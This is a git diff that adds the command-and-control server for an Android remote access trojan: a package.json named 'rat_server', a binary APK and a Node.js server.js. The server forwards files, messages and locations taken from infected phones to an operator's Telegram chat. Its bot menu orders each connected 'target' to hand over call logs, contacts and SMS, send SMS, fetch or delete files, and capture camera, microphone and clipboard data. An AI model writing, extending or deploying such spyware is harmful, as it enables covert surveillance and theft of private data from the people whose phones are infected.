diff --git a/Apk.apk b/Apk.apk new file mode 100644 index 0000000..ff6ca3f Binary files /dev/null and b/Apk.apk differ diff --git a/package.json b/package.json new file mode 100644 index 0000000..1aafe3a --- /dev/null +++ b/package.json @@ -0,0 +1,24 @@ +{ + "name": "rat_server", + "version": "1.0.0", + "description": "", + "main": "index.js", + "engines": { + "node": "16.13.2" + }, + "scripts": { + "start": "node server.js" + }, + "keywords": [], + "author": "l", + "license": "ISC", + "dependencies": { + "body-parser": "^1.19.1", + "express": "latest", + "multer": "^1.4.4", + "node-telegram-bot-api": "latest", + "uuid": "^8.3.2", + "ws": "latest", + "axios": "^0.26.1" + } +} \ No newline at end of file diff --git a/server.js b/server.js new file mode 100644 index 0000000..56913d4 --- /dev/null +++ b/server.js @@ -0,0 +1,187 @@ +const socket = require('ws'); +const http = require('http') +const express = require("express") +const TelegramBot = require('node-telegram-bot-api'); +const multer = require('multer'); +const bodyParser = require('body-parser') +const uuid4 = require('uuid') +const axios = require('axios') + +const upload = multer(); +const app = express() +app.use(bodyParser.json()); +const server = http.createServer(app); +const wss = new socket.Server({server}); +const chatId = '' +const token = '' +const serverAddr = '' +const bot = new TelegramBot(token, {polling: true}); + +// request ------------------------------------------------------------------- +app.get("/", (req, res) => { + res.send('

Everything ok now edit apk src šŸ•l

') +}) +app.post("/sendFile", upload.single('file'), (req, res) => { + var name = req.file.originalname + + bot.sendDocument(chatId, req.file.buffer, {}, { + filename: name, + contentType: 'application/txt', + }).catch(function (error) { + console.log(error); + }) + res.send(name) +}) +app.post("/sendText", (req, res) => { + bot.sendMessage(chatId, req.body['data'], {parse_mode: "HTML"}) + res.send(req.body['data']) +}) +app.post("/sendLocation", (req, res) => { + bot.sendLocation(chatId, req.body['l1'], req.body['l2']) + res.send(req.body['l1'].toString()) +}) +server.listen(process.env.PORT || 8999, () => { + console.log(`Server started on port ${server.address().port}`); +}); +// ----------------------------------------------------------------------------- ws://127.0.0.1:8999 + + +// real time ------------------------------------------------------------------- +wss.on('connection', (ws, req) => { + ws.uuid = uuid4.v4() + bot.sendMessage(chatId, `New Target Connected šŸ“±\n\nID = ${ws.uuid}\nIP = ${req.socket.remoteAddress.toString().replaceAll('f', '').replaceAll(':', '')} 🌐`, {parse_mode: "HTML"}) +}); +setInterval(() => { + wss.clients.forEach((client) => { + client.send("be alive"); + }); +}, 2000); +bot.on("message", (msg) => { + if (msg.text === '/start') { + bot.sendMessage(chatId, "Welcome", { + "reply_markup": { + "keyboard": [["Status āš™"], ["Action ā˜„"]] + } + }); + } + if (msg.text === "Status āš™") { + const clientCount = wss.clients.size + let status = ''; + if (clientCount > 0) { + status += `${clientCount} Online Client āœ…\n\n` + wss.clients.forEach((ws) => { + status += `ID => ${ws.uuid}\n\n` + }) + } else { + status += `No Online Client āŒ` + } + bot.sendMessage(chatId, status, {parse_mode: "HTML"}); + } + if (msg.text === "Action ā˜„") { + const clientCount = wss.clients.size + if (clientCount > 0) { + let Actions = [ + [{text: 'Call Log šŸ“ž', callback_data: "cl"},{text: 'All Contact šŸ‘¤', callback_data: "gc"}], + [{text: 'All Sms šŸ’¬', callback_data: "as"},{text: 'Send Sms šŸ’¬', callback_data: "ss"}], + [{text: 'Installed Apps šŸ“²', callback_data: "ia"},{text: 'Device Model šŸ“±', callback_data: 'dm'}], + [{text: 'Get Folder / File šŸ“„', callback_data: 'gf'},{text: 'Delete Folder / File šŸ—‘', callback_data: 'df'}], + [{text: 'Main Camera šŸ“·', callback_data: 'cam1'},{text: 'Front Camera 🤳', callback_data: 'cam2'}], + [{text: 'Mic 1 šŸŽ¤', callback_data: 'mi1'},{text: 'Mic 2 šŸŽ¤', callback_data: 'mi2'},{text: 'Mic 3 šŸŽ¤', callback_data: 'mi3'}], + [{text: 'Clip Board šŸ“„', callback_data: 'cp'}], + ] + wss.clients.forEach((ws) => { + bot.sendMessage(chatId, `ā˜„ Select Action For Device :\n&${ws.uuid}`, { + reply_markup: { + inline_keyboard: Actions, + // force_reply: true, + }, + parse_mode: "HTML" + }) + }) + } else { + bot.sendMessage(chatId, `No Online Client āŒ`, {parse_mode: "HTML"}); + } + } + if (msg.reply_to_message) { + if (msg.reply_to_message.text.split('&')[0] === 'ss'){ + const data = msg.text.split(']')[0].split("[")[1] + const uuid = msg.reply_to_message.text.split('!')[0].split('&')[1] + wss.clients.forEach(client=>{ + if (client.uuid === uuid) { + client.send(`ss&${data}`) + } + }) + bot.sendMessage(chatId, "Your Request Is On Progress !", { + "reply_markup": { + "keyboard": [["Status āš™"], ["Action ā˜„"]] + } + }); + } + if (msg.reply_to_message.text.split('&')[0] === 'df' || msg.reply_to_message.text.split('&')[0] === 'gf') { + const text = msg.reply_to_message.text; + const action = text.split('!')[0].split('&')[0] + const uuid = text.split('!')[0].split('&')[1] + const path = msg.text + wss.clients.forEach(client => { + if (client.uuid === uuid) { + client.send(`${action}&${path}`) + } + }) + bot.sendMessage(chatId, "Your Request Is On Progress !", { + "reply_markup": { + "keyboard": [["Status āš™"], ["Action ā˜„"]] + } + }); + } + } +}) + +bot.on('callback_query', function onCallbackQuery(callbackQuery) { + const action = callbackQuery.data; + const clientId = callbackQuery.message.text.split('&')[1]; + wss.clients.forEach(client => { + if (client.uuid === clientId) { + if (action === 'ss') { + bot.sendMessage( + chatId, + `ss&${client.uuid}!\n\nAction Send Sms\nšŸ”µ Please Reply\n [{"number":"target number","message":"your message"}]`, + { + reply_markup: { + force_reply: true, + }, + parse_mode: "HTML" + } + ) + } else if (action === 'gf') { + bot.sendMessage( + chatId, + `gf&${client.uuid}!\n\nAction Get File / Folder\nšŸ”µ Please Reply File / Folder Path:`, + { + reply_markup: { + force_reply: true, + }, + parse_mode: "HTML" + } + ) + } else if (action === 'df') { + bot.sendMessage( + chatId, + `df&${client.uuid}!\nAction Delete File / Folder\nšŸ”µ Please Reply File / Folder Path:`, + { + reply_markup: { + force_reply: true, + }, + parse_mode: "HTML" + } + ) + } else { + client.send(action) + } + } + }) +}); + +// real time ------------------------------------------------------------------- +setInterval(() => { + axios.get(serverAddr) +}, 120000); \ No newline at end of file